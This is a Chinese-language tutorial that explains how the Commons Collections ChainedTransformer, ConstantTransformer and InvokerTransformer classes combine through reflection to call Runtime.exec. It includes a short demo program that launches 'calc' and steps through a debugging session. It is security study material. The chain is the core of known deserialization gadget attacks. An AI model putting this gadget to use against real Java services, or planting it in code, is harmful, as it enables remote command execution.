Java安全 反序列化(2) 链的命令执行原理分析

CC链的命令执行原理的前置学习便于快速学习CC链

环境要求

存在漏洞的版本 commons-collections3.1-3.2.1

JDK 8u71之后已修复不可利⽤

[TOC]

Transformer实现任意命令执行

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Transformer_exec {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};
        Transformer transformer= new ChainedTransformer(transformers);
        transformer.transform(123);
    }


}

image-20240316001512502

可以实现任意命令执行

逐行分析

1.新建Transformer 数组

Transformer[] transformers = new Transformer[]

2.Transformer数组内容

{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})};

涉及Constanttransformer 和 InvokerTransformer

Constanttransformer接受 Object 传递给 this.iConstant

image-20240316001925424

Runtime.getRuntime()通过Runtim静态方法getRuntime获取Runtime对象

将Runtime对象赋值给 iConstant

InvokerTransformer

image-20240316002216302

接受 String methodName="exec", Class[] paramTypes={String.class}, Object[] args={"calc"}

分别赋值给iMethodName,iParamTypes,iArgs

参数1.方法名2.参数类型3.具体参数

3.新建ChainedTransformer具有多态

Transformer transformer= new ChainedTransformer(transformers);

image-20240316002553460

接受Transform[] 传递给iTransformers

4.调用transform方法

transformer.transform(123);

具体实现类是ChainedTransformer相当于调用 ChainedTransformer#transform

image-20240316002913755

动态调试

为了便于理解我们采取调试分析

此时我们传入123 作为 Interger对象

image-20240316003256797

iTransformers就是Constanttransformer 和 InvokerTransformer

1.当i=0时取到Constanttransformer

Constanttransformer#transform

image-20240316003549574

直接返回iConstant也就时Runtime对象

Runtime对象覆盖了Interger对象

2.当i=1时取到 InvokerTransformer

调用IvokerTransformer的transform方法

image-20240316003721119

传入input为Runtime对象

Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

有没有认为这一段非常眼熟

就是反射调用Runtime.getRuntime.exec()方法(底层实现)

等价于

Class cls = Runtime.getClass();
            Method method = cls.getMethod("exec", "String.class");
            return method.invoke(Runtime, "calc");

所以我们可以执行任意命令